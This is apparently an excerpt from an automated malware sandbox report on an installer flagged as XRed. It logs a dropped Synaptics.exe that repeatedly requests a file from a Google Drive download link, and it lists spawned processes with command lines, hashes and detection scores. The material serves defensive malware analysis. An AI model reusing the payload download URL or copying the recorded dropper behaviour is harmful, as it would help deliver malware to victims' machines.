2024-11-15 10:24:53 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:54 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:54 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-uK2LjODbDS-VC5E_j4VEhg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC4IlEjYGDmVbInMIzK4HJZnDbC0Fb9RREw5ZwQVjLrXLsMyViomF5siUQLv5farhx91eldIup9gNA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:24:54 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:24:54 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 54 62 64 4e 53 2d 54 4e 57 74 51 45 53 43 52 37 44 32 36 65 4c 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="TbdNS-TNWtQESCR7D26eLA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:24:54 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.16	49842	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:55 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:55 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:55 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-nF-uxRc6aChQIoB6LU6ohg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.16	49843	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:55 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:55 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:55 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-2rWap1zxSY1noATbe6XWQA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.16	49845	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:55 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:55 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:55 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-4SbtQDw3nFf0L-Wy_13fXw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC4Ccf_6fTikse9D89A8RhnGqN6OUlM5KTWwOMYUTCqGjrguEJRcS-F3hvK349AxLvyIWz4 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:24:55 UTC	132	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><titl
2024-11-15 10:24:55 UTC	1378	IN	Data Raw: 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 46 77 37 42 6b 75 73 71 34 6e 58 4d 42 65 49 77 42 66 56 6c 46 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 Data Ascii: e>Error 404 (Not Found)!!1</title><style nonce="Fw7Bkusq4nXMBeIwBfVlFA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-heigh
2024-11-15 10:24:55 UTC	142	IN	Data Raw: 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: pan></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.16	49846	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:55 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:55 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:55 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-buHdELXmwnKyzgaK_4pAKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AHmUCY3vseVn7E1DLE9NOajKg5lH241OAT8_3y-d4aocJvF51rf5atkl7bL-2rNE5dgi7TtC02ZtxYpUww Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:24:55 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:24:55 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 67 38 66 69 4e 52 55 74 31 52 33 6b 65 61 65 6d 34 6f 47 75 4e 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="g8fiNRUt1R3keaem4oGuNA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:24:55 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.16	49849	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:56 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:56 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:56 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-TrDxSzecB1YGSunBdW_0qA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.16	49850	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:56 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:56 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:56 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-gfeBdVEvANVEXC73WQzt9g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	05:23:30
Start date:	15/11/2024
Path:	C:\Users\user\Desktop\Dzsb.Qyd.Install.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Dzsb.Qyd.Install.exe"
Imagebase:	0x400000
File size:	941'568 bytes
MD5 hash:	8F6F7010F18C00958433F02D47130DD1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000000.00000000.1244560230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000000.1244560230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:23:31
Start date:	15/11/2024
Path:	C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe"
Imagebase:	0x400000
File size:	170'048 bytes
MD5 hash:	2CE4CD44B3F4B4527FF1BA1D40B3C6BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 5%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:23:31
Start date:	15/11/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	921D4ED8B1BD7EFFC64D14DF5204C817
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000003.00000003.1274914579.0000000000694000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:23:32
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x650000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	05:23:46
Start date:	15/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 2896
Imagebase:	0x340000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:23:57
Start date:	15/11/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Imagebase:	0x7ff662e10000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:24:34
Start date:	15/11/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe"
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	921D4ED8B1BD7EFFC64D14DF5204C817
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:24:34
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
